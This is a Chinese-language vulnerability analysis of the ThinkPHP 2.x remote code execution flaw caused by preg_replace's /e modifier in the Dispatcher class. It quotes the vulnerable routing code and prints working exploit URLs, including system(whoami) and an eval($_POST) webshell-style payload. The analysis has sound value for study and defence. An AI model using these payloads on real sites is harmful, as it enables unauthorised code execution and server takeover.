ThinkPHP 2.x 任意代码执行

漏洞概述

ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞

漏洞复现

URL传参
/index.php?s=/index/index/xxx/${system(whoami)}
/index.php?s=a/b/c/${@print(eval($_POST[1]))}

漏洞分析

文件位置

./ThinkPHP/Lib/Think/Util/Dispatcher.class.php

这个是thinkphp 内置的Dispacher类,用来完成 URL解析、路由和调度

thinkphp MVC框架请求都是根据路由来决定的。而Dispatcher.class.php就是规定如何来解析路由的这样一个类

类名为`Dispatcher`,class Dispatcher extends Think
里面的方法有:

static public function dispatch() URL映射到控制器
public static function getPathInfo() 获得服务器的PATH_INFO信息
static public function routerCheck() 路由检测
static private function parseUrl($route)
static private function getModule($var) 获得实际的模块名称
static private function getGroup($var) 获得实际的分组名称

有漏洞的代码位置在static public function dispatch(),URL映射控制器,也就是URL访问的路径是映射到哪个控制器下。

就是说url控制器会以数组形式获取url中输入的变量

代码块

// 分析PATHINFO信息
self::getPathInfo();

if(!self::routerCheck()){ // 检测路由规则 如果没有则按默认规则调度URL
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$var = array();
if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
// 禁止直接访问分组
exit;
}
}
if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
$var[C('VAR_MODULE')] = array_shift($paths);
}
$var[C('VAR_ACTION')] = array_shift($paths);
// 解析剩余的URL参数
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
$_GET = array_merge($var,$_GET);
}

前置知识

Preg_replace

preg_replace('正则规则','替换字符','目标字符')

/e 配合函数preg_replace()使用, 可以把匹配来的第二个参数字符串当作正则表达式执行;

这个函数5.2~5.6都还是可以执行的,但是到了php 版本7 以上,就已经都不支持/e修饰符了。

(\w+)/([^/]+)

正则的意思是取每2个参数

$var[‘\1’]=”\2”;

是对数组的操作,将之前第一个值作为新数组的键,将第二个值作为新数组的值

这里也是关键第二个参数是用双引号进行包裹的而双引号中的php变量语法又是能够被解析执行的

array_shift()

删除数组中的第一个元素(red),并返回被删除元素的值

分析语句:

if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
$var[C('VAR_MODULE')] = array_shift($paths);
}
$var[C('VAR_ACTION')] = array_shift($paths);
// 解析剩余的URL参数

$res =
preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e','$var[\'\\1\']="\\2";', implode($depr,$paths));
$_GET = array_merge($var,$_GET);

拿一个payload进行说明:

/index.php?s=a/b/c/${phpinfo()}

首先删除数组中的前两个值,payload变为:c/${phpinfo()}

经过implode变为字符串再经过\w+,存入到var的键和值中,由于/e模式,执行了值中的${phpinfo()}实行了命令执行

var来自于paths:

$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
即来自url中